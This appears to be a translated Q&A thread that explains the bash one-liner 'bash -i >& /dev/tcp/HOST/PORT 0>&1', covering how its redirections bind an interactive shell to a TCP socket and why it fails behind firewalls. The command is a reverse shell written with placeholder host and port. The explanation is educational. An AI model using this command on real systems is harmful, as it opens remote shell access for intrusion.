Significado de bash -i> & / dev / tcp / HOST / PORT 0> & 1?

15

Lo intenté

bash -i >& /dev/tcp/HOST/PORT 0>&1

pero no parece funcionar detrás de los firewalls. ¿Qué hace realmente este código, qué puertos se reenvían y podría funcionar detrás de los firewalls?

Helos
fuente

Respuestas:

17

Este fragmento ejecuta una nueva instancia interactiva de bash ( bash -i), en una conexión TCP al puerto especificado en el host especificado que se crea durante el proceso bash. La salida estándar y el error estándar se envían a través de esta conexión ( >& /dev/tcp/HOST/PORT), y la entrada estándar se lee a través de esta conexión ( 0>&1esto debería ser 0<&1pero 0>&1también funciona).

No hay reenvío de puertos en curso. Obviamente, un servidor TCP de algún tipo tiene que estar escuchando y aceptando conexiones en ese HOST: PORT, y el firewall debe dejar pasar la conexión.

Gilles 'SO- deja de ser malvado'
fuente
¿Qué conexión es '/ dev / tcp / HOST / PORT' ¿Dónde se define el host y dónde se define el puerto?
Helos
2
@Helos ¿Lo viste literalmente /dev/tcp/HOST/PORT? Supuse que había reemplazado un nombre por HOSTy un número por PORT. De lo contrario, recibirá un mensaje de error de bash. Como no mencionó ningún mensaje de error, supongo que no vio ninguno.
Gilles 'SO- deja de ser malvado'
1
@ Gilles, no puedo digerir la 0<&1parte. Lo leí como 'tomar bash stdout ( &1) y conectarlo a bash stdin ( 0)', lo cual tiene sentido. ¿Puede explicar cómo funciona esta parte?
Golem
55
@golem Esta es una redirección. No hay tubería involucrada. 0<&1significa conectar lo que esté abierto actualmente en el descriptor de archivo 1 al descriptor de archivo 0. Dado que la redirección anterior >& /dev/tcp/HOST/PORTconectó fd 1 (el valor predeterminado para una redirección de salida) a /dev/tcp/HOST/PORT, es decir, abrió un socket TCP, esto duplica la conexión TCP al descriptor de archivo 0 (es decir, el el mismo socket ahora también está abierto en fd 0, esto es diferente de 0 </ dev / tcp / HOST / PORT que abriría un socket diferente al mismo servidor).
Gilles 'SO- deja de ser malvado'
Conectar era una palabra clave para mi comprensión; llamar a la tubería del proceso fue de hecho lo que me confundió.
Golem